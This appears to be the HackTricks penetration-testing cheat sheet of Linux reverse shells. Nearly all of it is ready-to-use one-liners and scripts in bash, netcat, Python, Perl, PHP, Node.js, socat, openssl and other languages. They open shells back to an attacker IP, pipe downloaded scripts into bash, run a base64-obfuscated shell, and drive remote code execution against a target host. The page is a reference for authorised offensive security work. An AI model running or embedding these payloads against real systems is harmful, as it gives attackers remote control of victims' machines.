hacktricks/src/generic-hacking/reverse-shells/linux.md

# Shells - Linux

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**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com)

## Full TTY

**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.**

## Bash | sh

```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
```

Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.

### Symbol safe shell

```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```

#### Shell explanation

1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell.
2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: This is a special file that **represents a TCP connection to the specified IP address and port**.
   - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine.
4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**.

### Create in file and execute

```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```

## Forward Shell

When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.

A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment.

To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows:

```python3
import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
    # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
    token = jwt.encode(
        {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
    )

    response = httpx.get(
        url="https://vulnerable.io:3200",
        headers={"Authorization": f"Bearer {token}"},
        timeout=timeout,
        # ||BURP||
        verify=False,
    )

    # Check if the request was successful
    response.raise_for_status()

    return response.text
```

And then, you can run:

```shell
toboggan -m nix.py -i
```

To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper.

Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).

You just need to modify:

- The URL of the vulnerable host
- The prefix and suffix of your payload (if any)
- The way the payload is sent (headers? data? extra info?)

Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).

## Netcat

```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```

## gsocket

Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)

```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```

## Telnet

```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```

## Whois

**Attacker**

```bash
while true; do nc -l <port>; done
```

To send the command write it down, press enter and press CTRL+D (to stop STDIN)

**Victim**

```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```

## Python

```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```

## Perl

```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

## Ruby

```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

## PHP

```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```

## Java

```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

## Ncat

```bash
victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl
```

## Golang

```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

## Lua

```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

## NodeJS

```javascript
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```

## Zsh (built-in TCP)

```bash
# Requires no external binaries; leverages zsh/net/tcp module
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'
```

## Rustcat (rcat)

[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – modern netcat-like listener written in Rust (packaged in Kali since 2024).

```bash
# Attacker – interactive TLS listener with history & tab-completion
rcat listen -ib 55600

# Victim – download static binary and connect back with /bin/bash
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
  && chmod +x /tmp/rcat \
  && /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600
```

Features:
- Optional `--ssl` flag for encrypted transport (TLS 1.3)
- `-s` to spawn any binary (e.g. `/bin/sh`, `python3`) on the victim
- `--up` to automatically upgrade to a fully interactive PTY

## revsh (encrypted & pivot-ready)

`revsh` is a tiny C client/server that provides a full TTY over an **encrypted Diffie-Hellman tunnel** and can optionally attach a **TUN/TAP** interface for reverse VPN-like pivoting.

```bash
# Build (or grab a pre-compiled binary from the releases page)
git clone https://github.com/emptymonkey/revsh && cd revsh && make

# Attacker – controller/listener on 443 with a pinned certificate
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem

# Victim – reverse shell over TLS to the attacker
./revsh <ATTACKER-IP>:443
```

Useful flags:
- `-b` : bind-shell instead of reverse
- `-p socks5://127.0.0.1:9050` : proxy through TOR/HTTP/SOCKS
- `-t` : create a TUN interface (reverse VPN)

Because the entire session is encrypted and multiplexed, it often bypasses simple egress filtering that would kill a plain-text `/dev/tcp` shell.

## OpenSSL

The Attacker (Kali)

```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```

The Victim

```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```

## **Socat**

[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)

### Bind shell

```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```

### Reverse shell

```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```

## Awk

```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

## Finger

**Attacker**

```bash
while true; do nc -l 79; done
```

To send the command write it down, press enter and press CTRL+D (to stop STDIN)

**Victim**

```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```

## Gawk

```bash
#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}
```

## Xterm

This will try to connect to your system at port 6001:

```bash
xterm -display 10.0.0.1:1
```

To catch the reverse shell you can use (which will listen in port 6001):

```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```

## Groovy

by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy

```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

## References

- [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
- [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
- [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
- [https://github.com/robiot/rustcat](https://github.com/robiot/rustcat)
- [https://github.com/emptymonkey/revsh](https://github.com/emptymonkey/revsh)

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